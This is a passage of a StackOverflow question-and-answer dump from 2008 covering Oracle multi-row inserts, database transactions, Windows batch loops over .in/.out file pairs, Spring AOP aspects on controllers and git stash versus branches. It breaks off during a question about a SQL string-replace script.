"text": "<p>Here is a very useful step by step guideline for insert multi rows in Oracle:</p>\n\n<p><a href=\"https://livesql.oracle.com/apex/livesql/file/content_BM1LJQ87M5CNIOKPOWPV6ZGR3.html\" rel=\"nofollow noreferrer\">https://livesql.oracle.com/apex/livesql/file/content_BM1LJQ87M5CNIOKPOWPV6ZGR3.html</a></p>\n\n<p>The last step:</p>\n\n<pre><code>INSERT ALL\n/* Everyone is a person, so insert all rows into people */\nWHEN 1=1 THEN\nINTO people (person_id, given_name, family_name, title)\nVALUES (id, given_name, family_name, title)\n/* Only people with an admission date are patients */\nWHEN admission_date IS NOT NULL THEN\nINTO patients (patient_id, last_admission_date)\nVALUES (id, admission_date)\n/* Only people with a hired date are staff */\nWHEN hired_date IS NOT NULL THEN\nINTO staff (staff_id, hired_date)\nVALUES (id, hired_date)\n WITH names AS (\n SELECT 4 id, 'Ruth' given_name, 'Fox' family_name, 'Mrs' title,\n NULL hired_date, DATE'2009-12-31' admission_date\n FROM dual UNION ALL\n SELECT 5 id, 'Isabelle' given_name, 'Squirrel' family_name, 'Miss' title ,\n NULL hired_date, DATE'2014-01-01' admission_date\n FROM dual UNION ALL\n SELECT 6 id, 'Justin' given_name, 'Frog' family_name, 'Master' title,\n NULL hired_date, DATE'2015-04-22' admission_date\n FROM dual UNION ALL\n SELECT 7 id, 'Lisa' given_name, 'Owl' family_name, 'Dr' title,\n DATE'2015-01-01' hired_date, NULL admission_date\n FROM dual\n )\n SELECT * FROM names\n</code></pre>\n"
},
{
"answer_id": 58663131,
"author": "java-addict301",
"author_id": 6501190,
"author_profile": "https://Stackoverflow.com/users/6501190",
"pm_score": -1,
"selected": false,
"text": "<p>In my case, I was able to use a simple insert statement to bulk insert many rows into TABLE_A using just one column from TABLE_B and getting the other data elsewhere (sequence and a hardcoded value) :</p>\n\n<pre><code>INSERT INTO table_a (\n id,\n column_a,\n column_b\n)\n SELECT\n table_a_seq.NEXTVAL,\n b.name,\n 123\n FROM\n table_b b;\n</code></pre>\n\n<p>Result:</p>\n\n<pre><code>ID: NAME: CODE:\n1, JOHN, 123\n2, SAM, 123\n3, JESS, 123\n</code></pre>\n\n<p>etc</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39576",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3734/"
] | I'm looking for a good way to perform multi-row inserts into an Oracle 9 database. The following works in MySQL but doesn't seem to be supported in Oracle.
```
INSERT INTO TMP_DIM_EXCH_RT
(EXCH_WH_KEY,
EXCH_NAT_KEY,
EXCH_DATE, EXCH_RATE,
FROM_CURCY_CD,
TO_CURCY_CD,
EXCH_EFF_DATE,
EXCH_EFF_END_DATE,
EXCH_LAST_UPDATED_DATE)
VALUES
(1, 1, '28-AUG-2008', 109.49, 'USD', 'JPY', '28-AUG-2008', '28-AUG-2008', '28-AUG-2008'),
(2, 1, '28-AUG-2008', .54, 'USD', 'GBP', '28-AUG-2008', '28-AUG-2008', '28-AUG-2008'),
(3, 1, '28-AUG-2008', 1.05, 'USD', 'CAD', '28-AUG-2008', '28-AUG-2008', '28-AUG-2008'),
(4, 1, '28-AUG-2008', .68, 'USD', 'EUR', '28-AUG-2008', '28-AUG-2008', '28-AUG-2008'),
(5, 1, '28-AUG-2008', 1.16, 'USD', 'AUD', '28-AUG-2008', '28-AUG-2008', '28-AUG-2008'),
(6, 1, '28-AUG-2008', 7.81, 'USD', 'HKD', '28-AUG-2008', '28-AUG-2008', '28-AUG-2008');
``` | This works in Oracle:
```
insert into pager (PAG_ID,PAG_PARENT,PAG_NAME,PAG_ACTIVE)
select 8000,0,'Multi 8000',1 from dual
union all select 8001,0,'Multi 8001',1 from dual
```
The thing to remember here is to use the `from dual` statement. |
39,583 | <p>How much do you rely on database transactions? </p>
<p>Do you prefer small or large transaction scopes ? </p>
<p>Do you prefer client side transaction handling (e.g. TransactionScope in .NET) over server
side transactions or vice-versa? </p>
<p>What about nested transactions? </p>
<p>Do you have some tips&tricks related to transactions ?</p>
<p>Any gotchas you encountered working with transaction ?</p>
<p>All sort of answers are welcome.</p>
| [
{
"answer_id": 39594,
"author": "DevelopingChris",
"author_id": 1220,
"author_profile": "https://Stackoverflow.com/users/1220",
"pm_score": 2,
"selected": false,
"text": "<p>I use transactions on every write operation to the database.<br>\nSo there are quite a few small \"transactions\" wrapped in a larger transaction and basically there is an outstanding transaction count in the nesting code. If there are any outstanding children when you end the parent, its all rolled back. </p>\n\n<p>I prefer client-side transaction handling where available. If you are relegated to doing sps or other server side logical units of work, server side transactions are fine.</p>\n"
},
{
"answer_id": 39605,
"author": "Simon Johnson",
"author_id": 854,
"author_profile": "https://Stackoverflow.com/users/854",
"pm_score": 4,
"selected": false,
"text": "<p>I always wrap a transaction in a using statement.</p>\n\n<pre><code>using(IDbTransaction transaction )\n{\n// logic goes here.\n transaction.Commit();\n}\n</code></pre>\n\n<p>Once the transaction moves out of scope, it is disposed. If the transaction is still active, it is rolled back. This behaviour fail-safes you from accidentally locking out the database. Even if an unhandled exception is thrown, the transaction will still rollback. </p>\n\n<p>In my code I actually omit explicit rollbacks and rely on the using statement to do the work for me. I only explicitly perform commits. </p>\n\n<p>I've found this pattern has drastically reduced record locking issues.</p>\n"
},
{
"answer_id": 39613,
"author": "Sara Chipps",
"author_id": 4140,
"author_profile": "https://Stackoverflow.com/users/4140",
"pm_score": 3,
"selected": false,
"text": "<p>Personally, developing a website that is high traffic perfomance based, I stay away from database transactions whenever possible. Obviously they are neccessary, so I use an ORM, and page level object variables to minimize the number of server side calls I have to make. </p>\n\n<p>Nested transactions are an awesome way to minimize your calls, I steer in that direction whenever I can as long as they are quick queries that wont cause locking. NHibernate has been a savior in these cases. </p>\n"
},
{
"answer_id": 39859,
"author": "Marcio Aguiar",
"author_id": 4213,
"author_profile": "https://Stackoverflow.com/users/4213",
"pm_score": 2,
"selected": false,
"text": "<p>Wow! Lots of questions! </p>\n\n<p>Until a year ago I relied 100% on transactions. Now its only 98%. In special cases of high traffic websites (like Sara mentioned) and also high partitioned data, enforcing the need of distributed transactions, a transactionless architecture can be adopted. Now you'll have to code referential integrity in the application.</p>\n\n<p>Also, I like to manage transactions declaratively using annotations (I'm a Java guy) and aspects. That's a very clean way to determine transaction boundaries and it includes transaction propagation functionality.</p>\n"
},
{
"answer_id": 45958,
"author": "oglester",
"author_id": 2017,
"author_profile": "https://Stackoverflow.com/users/2017",
"pm_score": 2,
"selected": false,
"text": "<p>Just as an FYI... Nested transactions can be dangerous. It simply increases the chances of getting deadlock. So, though it is good and necessary, the way it is implemented is important in higher volume situation.</p>\n"
},
{
"answer_id": 861444,
"author": "yanky",
"author_id": 288477,
"author_profile": "https://Stackoverflow.com/users/288477",
"pm_score": 0,
"selected": false,
"text": "<p>As Sara Chipps said, transaction is overkill for high traffic applications. So we should avoid it as much as possible. In other words, we use a <a href=\"http://queue.acm.org/detail.cfm?id=1394128\" rel=\"nofollow noreferrer\">BASE architecture</a> rather than ACID. Ebay is a typical case. Distributed transaction is not used at all in Ebay architecture. But for <a href=\"http://queue.acm.org/detail.cfm?id=1466448\" rel=\"nofollow noreferrer\">eventual consistency</a>, you have to do some sort of trick on your own.</p>\n"
},
{
"answer_id": 1578860,
"author": "gbn",
"author_id": 27535,
"author_profile": "https://Stackoverflow.com/users/27535",
"pm_score": 2,
"selected": false,
"text": "<p>Server side transactions, 35,000 transactions per second, SQL Server: <a href=\"http://sqlblog.com/blogs/paul_nielsen/archive/2007/12/12/10-lessons-from-35k-tps.aspx\" rel=\"nofollow noreferrer\">10 lessons from 35K tps</a></p>\n\n<p>We only use server side transactions:</p>\n\n<ul>\n<li>can start later and finish sooner</li>\n<li>not distributed</li>\n<li>can do work before and after</li>\n<li>SET XACT_ABORT ON means immediate rollback on error</li>\n<li>client/OS/driver agnostic</li>\n</ul>\n\n<p>Other:</p>\n\n<ul>\n<li>we nest calls but use @@TRANCOUNT to detect already started TXNs</li>\n<li>each DB call is always atomic</li>\n</ul>\n\n<p>We deal with millions of INSERT rows per day (some batched via staging tables), full OLTP, no problems. Not 35k tps though.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39583",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1196/"
] | How much do you rely on database transactions?
Do you prefer small or large transaction scopes ?
Do you prefer client side transaction handling (e.g. TransactionScope in .NET) over server
side transactions or vice-versa?
What about nested transactions?
Do you have some tips&tricks related to transactions ?
Any gotchas you encountered working with transaction ?
All sort of answers are welcome. | I always wrap a transaction in a using statement.
```
using(IDbTransaction transaction )
{
// logic goes here.
transaction.Commit();
}
```
Once the transaction moves out of scope, it is disposed. If the transaction is still active, it is rolled back. This behaviour fail-safes you from accidentally locking out the database. Even if an unhandled exception is thrown, the transaction will still rollback.
In my code I actually omit explicit rollbacks and rely on the using statement to do the work for me. I only explicitly perform commits.
I've found this pattern has drastically reduced record locking issues. |
39,615 | <p>I have a set of base filenames, for each name 'f' there are exactly two files, 'f.in' and 'f.out'. I want to write a batch file (in Windows XP) which goes through all the filenames, for each one it should:</p>
<ul>
<li>Display the base name 'f'</li>
<li>Perform an action on 'f.in'</li>
<li>Perform another action on 'f.out'</li>
</ul>
<p>I don't have any way to list the set of base filenames, other than to search for *.in (or *.out) for example.</p>
| [
{
"answer_id": 39636,
"author": "Nathan Fritz",
"author_id": 4142,
"author_profile": "https://Stackoverflow.com/users/4142",
"pm_score": 3,
"selected": false,
"text": "<p>Easiest way, as I see it, is to use a for loop that calls a second batch file for processing, passing that second file the base name.</p>\n\n<p>According to the for /? help, basename can be extracted using the nifty ~n option. So, the base script would read:</p>\n\n<pre><code>for %%f in (*.in) do call process.cmd %%~nf\n</code></pre>\n\n<p>Then, in process.cmd, assume that %0 contains the base name and act accordingly. For example:</p>\n\n<pre><code>echo The file is %0\ncopy %0.in %0.out\nren %0.out monkeys_are_cool.txt\n</code></pre>\n\n<p>There might be a better way to do this in one script, but I've always been a bit hazy on how to pull of multiple commands in a single for loop in a batch file.</p>\n\n<p>EDIT: That's fantastic! I had somehow missed the page in the docs that showed that you could do multi-line blocks in a FOR loop. I am going to go have to go back and rewrite some batch files now...</p>\n"
},
{
"answer_id": 39652,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 2,
"selected": false,
"text": "<p>There is a tool usually used in MS Servers (as far as I can remember) called <a href=\"http://www.ss64.com/nt/forfiles.html\" rel=\"nofollow noreferrer\">forfiles</a>:</p>\n\n<p>The link above contains help as well as a link to the microsoft download page.</p>\n"
},
{
"answer_id": 39656,
"author": "Mark Ingram",
"author_id": 986,
"author_profile": "https://Stackoverflow.com/users/986",
"pm_score": 7,
"selected": false,
"text": "<p>You can use this line to print the contents of your desktop:</p>\n\n<pre><code>FOR %%I in (C:\\windows\\desktop\\*.*) DO echo %%I \n</code></pre>\n\n<p>Once you have the <code>%%I</code> variable it's easy to perform a command on it (just replace the word echo with your program)</p>\n\n<p>In addition, substitution of FOR variable references has been enhanced\nYou can now use the following optional syntax:</p>\n\n<pre><code>%~I - expands %I removing any surrounding quotes (\")\n%~fI - expands %I to a fully qualified path name\n%~dI - expands %I to a drive letter only\n%~pI - expands %I to a path only (directory with \\)\n%~nI - expands %I to a file name only\n%~xI - expands %I to a file extension only\n%~sI - expanded path contains short names only\n%~aI - expands %I to file attributes of file\n%~tI - expands %I to date/time of file\n%~zI - expands %I to size of file\n%~$PATH:I - searches the directories listed in the PATH\n environment variable and expands %I to the\n fully qualified name of the first one found.\n If the environment variable name is not\n defined or the file is not found by the\n search, then this modifier expands to the\n empty string\n</code></pre>\n\n<p><a href=\"https://ss64.com/nt/syntax-args.html\" rel=\"noreferrer\">https://ss64.com/nt/syntax-args.html</a></p>\n\n<p>In the above examples <code>%I</code> and PATH can be replaced by other valid\nvalues. The <code>%~</code> syntax is terminated by a valid FOR variable name.\nPicking upper case variable names like <code>%I</code> makes it more readable and\navoids confusion with the modifiers, which are not case sensitive.</p>\n\n<p>You can get the full documentation by typing <code>FOR /?</code></p>\n"
},
{
"answer_id": 39664,
"author": "Jim Buck",
"author_id": 2666,
"author_profile": "https://Stackoverflow.com/users/2666",
"pm_score": 9,
"selected": true,
"text": "<p>Assuming you have two programs that process the two files, process_in.exe and process_out.exe:</p>\n\n<pre><code>for %%f in (*.in) do (\n echo %%~nf\n process_in \"%%~nf.in\"\n process_out \"%%~nf.out\"\n)\n</code></pre>\n\n<p>%%~nf is a substitution modifier, that expands %f to a file name only.\nSee other modifiers in <a href=\"https://technet.microsoft.com/en-us/library/bb490909.aspx\" rel=\"noreferrer\">https://technet.microsoft.com/en-us/library/bb490909.aspx</a> (midway down the page) or just in the next answer.</p>\n"
},
{
"answer_id": 39750,
"author": "Martin",
"author_id": 770,
"author_profile": "https://Stackoverflow.com/users/770",
"pm_score": 2,
"selected": false,
"text": "<p>Expanding on <a href=\"https://stackoverflow.com/users/4142/nathan-fritz\">Nathans</a> post. The following will do the job lot in one batch file.</p>\n\n<pre><code>@echo off\n\nif %1.==Sub. goto %2\n\nfor %%f in (*.in) do call %0 Sub action %%~nf\ngoto end\n\n:action\necho The file is %3\ncopy %3.in %3.out\nren %3.out monkeys_are_cool.txt\n\n:end\n</code></pre>\n"
},
{
"answer_id": 35572977,
"author": "Sandro Rosa",
"author_id": 3971553,
"author_profile": "https://Stackoverflow.com/users/3971553",
"pm_score": 2,
"selected": false,
"text": "<p>The code below filters filenames starting with given substring. It could be changed to fit different needs by working on subfname substring extraction and IF statement:</p>\n\n<pre><code>echo off\nrem filter all files not starting with the prefix 'dat'\nsetlocal enabledelayedexpansion\nFOR /R your-folder-fullpath %%F IN (*.*) DO (\nset fname=%%~nF\nset subfname=!fname:~0,3!\nIF NOT \"!subfname!\" == \"dat\" echo \"%%F\"\n)\npause\n</code></pre>\n"
},
{
"answer_id": 46755785,
"author": "Z. Mickaels",
"author_id": 8777470,
"author_profile": "https://Stackoverflow.com/users/8777470",
"pm_score": 0,
"selected": false,
"text": "<p>Echoing f.in and f.out will seperate the concept of what to loop and what not to loop when used in a for /f loop.</p>\n\n<pre><code>::Get the files seperated\necho f.in>files_to_pass_through.txt\necho f.out>>files_to_pass_through.txt\n\nfor /F %%a in (files_to_pass_through.txt) do (\nfor /R %%b in (*.*) do (\nif \"%%a\" NEQ \"%%b\" (\necho %%b>>dont_pass_through_these.txt\n)\n)\n)\n::I'm assuming the base name is the whole string \"f\".\n::If I'm right then all the files begin with \"f\".\n::So all you have to do is display \"f\". right?\n::But that would be too easy.\n::Let's do this the right way.\nfor /f %%C in (dont_pass_through_these.txt)\n::displays the filename and not the extention\necho %~nC\n)\n</code></pre>\n\n<p>Although you didn't ask, a good way to pass commands into f.in and f.out would be to...</p>\n\n<pre><code>for /F %%D \"tokens=*\" in (dont_pass_through_these.txt) do (\nfor /F %%E in (%%D) do (\nstart /wait %%E\n)\n)\n</code></pre>\n\n<p>A link to all the Windows XP commands:<a href=\"https://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/ntcmds.mspx?mfr=true\" rel=\"nofollow noreferrer\">link</a></p>\n\n<p>I apologize if I did not answer this correctly. The question was very hard for me to read.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39615",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3974/"
] | I have a set of base filenames, for each name 'f' there are exactly two files, 'f.in' and 'f.out'. I want to write a batch file (in Windows XP) which goes through all the filenames, for each one it should:
* Display the base name 'f'
* Perform an action on 'f.in'
* Perform another action on 'f.out'
I don't have any way to list the set of base filenames, other than to search for \*.in (or \*.out) for example. | Assuming you have two programs that process the two files, process\_in.exe and process\_out.exe:
```
for %%f in (*.in) do (
echo %%~nf
process_in "%%~nf.in"
process_out "%%~nf.out"
)
```
%%~nf is a substitution modifier, that expands %f to a file name only.
See other modifiers in <https://technet.microsoft.com/en-us/library/bb490909.aspx> (midway down the page) or just in the next answer. |
39,639 | <p>My project is based on spring framework 2.5.4. And I try to add aspects for some controllers (I use aspectj 1.5.3).</p>
<p>I've enabled auto-proxy in application-servlet.xml, just pasted these lines to the end of the xml file:</p>
<pre><code><aop:aspectj-autoproxy />
<bean id="auditLogProcessor" class="com.example.bg.web.utils.AuditLogProcessor" />
</code></pre>
<p>Created aspect:</p>
<pre><code>package com.example.bg.web.utils;
import org.apache.log4j.Logger;
import org.aspectj.lang.annotation.After;
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Pointcut;
@Aspect
public class AuditLogProcessor
{
private final static Logger log = Logger.getLogger(AuditLogProcessor.class);
@After("execution(* com.example.bg.web.controllers.assets.AssetThumbnailRebuildController.rebuildThumbnail(..))")
public void afterHandleRequest() {
log.info("test111");
}
@After("execution(* com.example.bg.web.controllers.assets.AssetThumbnailRebuildController.rebuildThumbnail(..))")
public void afterRebuildThumbnail() {
log.info("test222");
}
}</code></pre>
<p>My controllers:</p>
<pre><code>class AssetAddController implements Controller
class AssetThumbnailRebuildController extends MultiActionController</code></pre>
<p>When I set brake points in aspect advisors and invoke controllers I catch only afterHandleRequest() but not afterRebildThumbnail()
What did I do wrong?</p>
<p><strong>NOTE</strong></p>
<p>I'm asking this question on behalf of my friend who doesn't have access to SO beta, and I don't have a clue what it's all about.</p>
<p><strong>EDIT</strong></p>
<p>There were indeed some misspellings, thanks Cheekysoft. But the problem still persists.</p>
| [
{
"answer_id": 39766,
"author": "bpapa",
"author_id": 543,
"author_profile": "https://Stackoverflow.com/users/543",
"pm_score": 1,
"selected": false,
"text": "<p>AspectJ doesn't work well with classes in the Spring Web MVC framework. <a href=\"http://static.springframework.org/spring/docs/2.0.x/reference/mvc.html\" rel=\"nofollow noreferrer\">Read the bottom of the \"Open for extension...\" box on the right side of the page</a> </p>\n\n<p>Instead, take a look at the <a href=\"http://static.springframework.org/spring/docs/2.0.x/api/org/springframework/web/servlet/HandlerInterceptor.html\" rel=\"nofollow noreferrer\">HandlerInterceptor</a> interface. </p>\n\n<p>The new Spring MVC Annotations may work as well since then the Controller classes are all POJOs, but I haven't tried it myself. </p>\n"
},
{
"answer_id": 41457,
"author": "Cheekysoft",
"author_id": 1820,
"author_profile": "https://Stackoverflow.com/users/1820",
"pm_score": 0,
"selected": false,
"text": "<p>Is this as simple as spelling? or are there just typos in the question?\nSometimes you write <code>rebuildThumbnail</code> and sometimes you write <code>rebildThumbnail</code></p>\n\n<p>The methods you are trying to override with advice are not final methods in the MVC framework, so whilst bpapas answer is useful, my understanding is that this is not the problem in this case. However, do make sure that the <code>rebuildThumbnail</code> controller action is not final</p>\n\n<p>@bpapas: please correct me if I'm wrong. The programmer's own controller action is what he is trying to override. Looking at the MultiActionController source (and its parents') the only finalized method potentially in the stack is <code>MultiActionController.invokeNamedMethod</code>, although I'm not 100% sure if this would be in the stack at that time or not. Would having a finalized method higher up the stack cause a problem adding AOP advice to a method further down?</p>\n"
},
{
"answer_id": 41480,
"author": "Cheekysoft",
"author_id": 1820,
"author_profile": "https://Stackoverflow.com/users/1820",
"pm_score": 1,
"selected": false,
"text": "<p>The basic setup looks ok.</p>\n\n<p>The syntax can be simplified slightly by not defining an in-place pointcut and just specifying the method to which the after-advice should be applied. (The named pointcuts for methods are automatically created for you.)</p>\n\n<p>e.g.</p>\n\n<pre><code>@After( \"com.example.bg.web.controllers.assets.AssetAddController.handleRequest()\" )\npublic void afterHandleRequest() {\n log.info( \"test111\" );\n}\n\n@After( \"com.example.bg.web.controllers.assets.AssetThumbnailRebuildController.rebuildThumbnail()\" ) \npublic void afterRebuildThumbnail() {\n log.info( \"test222\" );\n}\n</code></pre>\n\n<p>As long as the rebuildThumbnail method is not final, and the method name and class are correct. I don't see why this won't work.</p>\n\n<p>see <a href=\"http://static.springframework.org/spring/docs/2.0.x/reference/aop.html\" rel=\"nofollow noreferrer\">http://static.springframework.org/spring/docs/2.0.x/reference/aop.html</a></p>\n"
},
{
"answer_id": 67661,
"author": "Ed Thomas",
"author_id": 8256,
"author_profile": "https://Stackoverflow.com/users/8256",
"pm_score": 3,
"selected": true,
"text": "<p>Your breakpoints aren't being hit because you are using Spring's AOP Proxies. See <a href=\"http://static.springframework.org/spring/docs/2.5.x/reference/aop.html#aop-understanding-aop-proxies\" rel=\"nofollow noreferrer\">understanding-aop-proxies</a> for a description of how AOP Proxies are special. </p>\n\n<p>Basically, the MVC framework is going to call the <code>handleRequest</code> method on your controller's proxy (which for example the <code>MultiActionController</code> you're using as a base class implements), this method will then make an \"internal\" call to its rebuildThumbnail method, but this won't go through the proxy and thus won't pick up any aspects. (This has nothing to do with the methods being final.)</p>\n\n<p>To achieve what you want, investigate using \"real\" AOP via load time weaving (which Spring supports very nicely).</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39639",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1007/"
] | My project is based on spring framework 2.5.4. And I try to add aspects for some controllers (I use aspectj 1.5.3).
I've enabled auto-proxy in application-servlet.xml, just pasted these lines to the end of the xml file:
```
<aop:aspectj-autoproxy />
<bean id="auditLogProcessor" class="com.example.bg.web.utils.AuditLogProcessor" />
```
Created aspect:
```
package com.example.bg.web.utils;
import org.apache.log4j.Logger;
import org.aspectj.lang.annotation.After;
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Pointcut;
@Aspect
public class AuditLogProcessor
{
private final static Logger log = Logger.getLogger(AuditLogProcessor.class);
@After("execution(* com.example.bg.web.controllers.assets.AssetThumbnailRebuildController.rebuildThumbnail(..))")
public void afterHandleRequest() {
log.info("test111");
}
@After("execution(* com.example.bg.web.controllers.assets.AssetThumbnailRebuildController.rebuildThumbnail(..))")
public void afterRebuildThumbnail() {
log.info("test222");
}
}
```
My controllers:
```
class AssetAddController implements Controller
class AssetThumbnailRebuildController extends MultiActionController
```
When I set brake points in aspect advisors and invoke controllers I catch only afterHandleRequest() but not afterRebildThumbnail()
What did I do wrong?
**NOTE**
I'm asking this question on behalf of my friend who doesn't have access to SO beta, and I don't have a clue what it's all about.
**EDIT**
There were indeed some misspellings, thanks Cheekysoft. But the problem still persists. | Your breakpoints aren't being hit because you are using Spring's AOP Proxies. See [understanding-aop-proxies](http://static.springframework.org/spring/docs/2.5.x/reference/aop.html#aop-understanding-aop-proxies) for a description of how AOP Proxies are special.
Basically, the MVC framework is going to call the `handleRequest` method on your controller's proxy (which for example the `MultiActionController` you're using as a base class implements), this method will then make an "internal" call to its rebuildThumbnail method, but this won't go through the proxy and thus won't pick up any aspects. (This has nothing to do with the methods being final.)
To achieve what you want, investigate using "real" AOP via load time weaving (which Spring supports very nicely). |
39,651 | <p>In a <a href="https://stackoverflow.com/questions/21848/switch-branch-names-in-git">previous Git question</a>, Daniel Benamy was talking about a workflow in Git:</p>
<blockquote>
<p>I was working on master and committed some stuff and then decided I wanted to put that work on hold. I backed up a few commits and then branched from before I started my crap work.</p>
</blockquote>
<p>He wanted to restore his working state to a previous point in time without losing his current changes. All of the answers revolved around, in various ways, something like</p>
<pre><code>git branch -m master crap_work
git branch -m previous_master master
</code></pre>
<p>How does this compare to <code>git stash</code>? I'm a bit confused trying to see what the different use case here when it <em>seems</em> like everything <code>git stash</code> does is already handled by branching…</p>
<hr>
<p>@<a href="https://stackoverflow.com/questions/39651/git-stash-vs-git-branch#39862">Jordi Bunster</a>: Thanks, that clears things up. I guess I'd kind of consider "stashing" to be like a lightweight, nameless, branch. So anything stash can do, branch can as well but with more words. Nice!</p>
| [
{
"answer_id": 39862,
"author": "Jordi Bunster",
"author_id": 4272,
"author_profile": "https://Stackoverflow.com/users/4272",
"pm_score": 8,
"selected": true,
"text": "<p>'stash' takes the uncommitted, \"<em>dirty</em>\" stuff on your working copy, and stashes it away, leaving you with a clean working copy.</p>\n\n<p>It doesn't really branch at all. You can then apply the stash on top of any other branch. Or, as of Git 1.6, you can do:</p>\n\n<pre><code>git stash branch <branchname> [<stash>]\n</code></pre>\n\n<p>to apply the stash on top of a new branch, all in one command.</p>\n\n<p>So, stash works great if you have not committed to the \"<em>wrong</em>\" branch yet.</p>\n\n<p>If you've already committed, then the workflow you describe in your question is a better alternative. And by the way, you're right: Git is very flexible, and with that flexibility comes overlapping functionality.</p>\n"
},
{
"answer_id": 134840,
"author": "webmat",
"author_id": 6349,
"author_profile": "https://Stackoverflow.com/users/6349",
"pm_score": 4,
"selected": false,
"text": "<p>I'm always wary of git stash. If you stash a few times, things tend to get messy. git stash list will display a numbered list of stashes you created, with messages if you provided them... But the problem lies in the fact that you can't clean up stashes except with a brutal git stash clear (which removes them all). So unless you're always consistently giving super-descriptive messages for your stashes (kinda goes against stash's philosophy), you end up with an incomprehensible bunch of stashes.</p>\n<p>The only way I know of to figure out which one's which is to use gitk --all and spot the stashes. At least this lets you see what commit the stash was created on, as well as the diff of everything included in that stash.</p>\n<p>Note that I'm using git 1.5.4.3, and I think 1.6 adds git stash pop, which I guess would apply the selected stash <em>and</em> remove it from the list. Which seems a lot cleaner.</p>\n<p>For now, I always try to branch unless I'm absolutely positive I'm gonna get back to that stash in the same day, even within the hour.</p>\n"
},
{
"answer_id": 955657,
"author": "Ariejan",
"author_id": 117975,
"author_profile": "https://Stackoverflow.com/users/117975",
"pm_score": 6,
"selected": false,
"text": "<p>When you restore your stash, your changes are reapplied and you continue working on your code.</p>\n\n<p>To stash your current changes</p>\n\n<pre><code>$ git stash save \nSaved \"WIP on master: e71813e...\"\n</code></pre>\n\n<p>You can also have more than one stash. The stash works like a stack. Every time you save a new stash, it's put on top of the stack.</p>\n\n<pre><code>$ git stash list\nstash@{0}: WIP on master: e71813e...\"\n</code></pre>\n\n<p>Note the <code>stash@{0}</code> part? That's your stash ID. You'll need it to restore it later on. Let's do that right now. The stash ID changes with every stash you make. stash@{0} refers to the last stash you made.</p>\n\n<p>To apply a stash</p>\n\n<pre><code>$ git stash apply stash@{0}\n</code></pre>\n\n<p>You may notice the stash is still there after you have applied it. You can drop it if you don't need it any more.</p>\n\n<pre><code>$ git stash drop stash@{0}\n</code></pre>\n\n<p>Or, because the stash acts like a stack, you can pop off the last stash you saved:</p>\n\n<pre><code>$ git stash pop\n</code></pre>\n\n<p>If you want to wipe all your stashes away, run the 'clear' command:</p>\n\n<pre><code>$ git stash clear\n</code></pre>\n\n<p>It may very well be that you don't use stashes that often. If you just want to quickly stash your changes to restore them later, you can leave out the stash ID.</p>\n\n<pre><code>$ git stash\n...\n$ git stash pop\n</code></pre>\n\n<p>Feel free to experiment with the stash before using it on some really important work.</p>\n\n<p><a href=\"http://ariejan.net/2008/04/23/git-using-the-stash/\" rel=\"noreferrer\">I also have a more in-depth version of this posted on my blog</a>.</p>\n"
},
{
"answer_id": 31498125,
"author": "Dan Aloni",
"author_id": 382213,
"author_profile": "https://Stackoverflow.com/users/382213",
"pm_score": 2,
"selected": false,
"text": "<p>If you look for a workflow that may be more fitting than git stash, you may want to look at <a href=\"https://github.com/da-x/git-bottle\" rel=\"nofollow\" title=\"git-bottle\">git-bottle</a>. It's a utility for the purpose of saving and restoring the various git working states as normal git commits, effectively snapshotting the current and pertinent state of your working tree and <strong>all</strong> various file states shown under git status.</p>\n\n<p>Key differences from <code>git stash</code>:</p>\n\n<ul>\n<li><code>git stash</code> saves the dirty git state narrowly (modified files, and added files in the index), whereas <code>git-bottle</code> is designed to save <em>everything</em> that is different from <code>HEAD</code>, and it differentiates in a preserving way between modified, modified and not added, not added, unmerged paths, and the complete rebase/merge states (only paths under <code>.gitignore</code> are not saved).</li>\n<li><code>git stash</code> saves to stash objects that you need to keep track separately. If I stashed something 2 weeks ago I might not remember it, whereas <code>git-bottle</code> saves as <strong>tentative commits to the current branch</strong>. The reverse action is <code>git-unbottle</code> which is the equivalent of the <code>git stash</code> pop. It is possible to push and share these commits among repositories. This can be useful for remote builds, where you have another repository in a remote server just for building, or for collaborating with other people on conflict resolution.</li>\n</ul>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39651",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4161/"
] | In a [previous Git question](https://stackoverflow.com/questions/21848/switch-branch-names-in-git), Daniel Benamy was talking about a workflow in Git:
>
> I was working on master and committed some stuff and then decided I wanted to put that work on hold. I backed up a few commits and then branched from before I started my crap work.
>
>
>
He wanted to restore his working state to a previous point in time without losing his current changes. All of the answers revolved around, in various ways, something like
```
git branch -m master crap_work
git branch -m previous_master master
```
How does this compare to `git stash`? I'm a bit confused trying to see what the different use case here when it *seems* like everything `git stash` does is already handled by branching…
---
@[Jordi Bunster](https://stackoverflow.com/questions/39651/git-stash-vs-git-branch#39862): Thanks, that clears things up. I guess I'd kind of consider "stashing" to be like a lightweight, nameless, branch. So anything stash can do, branch can as well but with more words. Nice! | 'stash' takes the uncommitted, "*dirty*" stuff on your working copy, and stashes it away, leaving you with a clean working copy.
It doesn't really branch at all. You can then apply the stash on top of any other branch. Or, as of Git 1.6, you can do:
```
git stash branch <branchname> [<stash>]
```
to apply the stash on top of a new branch, all in one command.
So, stash works great if you have not committed to the "*wrong*" branch yet.
If you've already committed, then the workflow you describe in your question is a better alternative. And by the way, you're right: Git is very flexible, and with that flexibility comes overlapping functionality. |
39,674 | <p>I have the following script. It replaces all instances of @lookFor with @replaceWith in all tables in a database. However it doesn't work with text fields only varchar etc. Could this be easily adapted?</p>
<pre><code>------------------------------------------------------------
-- Name: STRING REPLACER
-- Author: ADUGGLEBY
-- Version: 20.05.2008 (1.2)
--
-- Description: Runs through all available tables in current
-- databases and replaces strings in text columns.
------------------------------------------------------------
-- PREPARE
SET NOCOUNT ON
-- VARIABLES
DECLARE @tblName NVARCHAR(150)
DECLARE @colName NVARCHAR(150)
DECLARE @tblID int
DECLARE @first bit
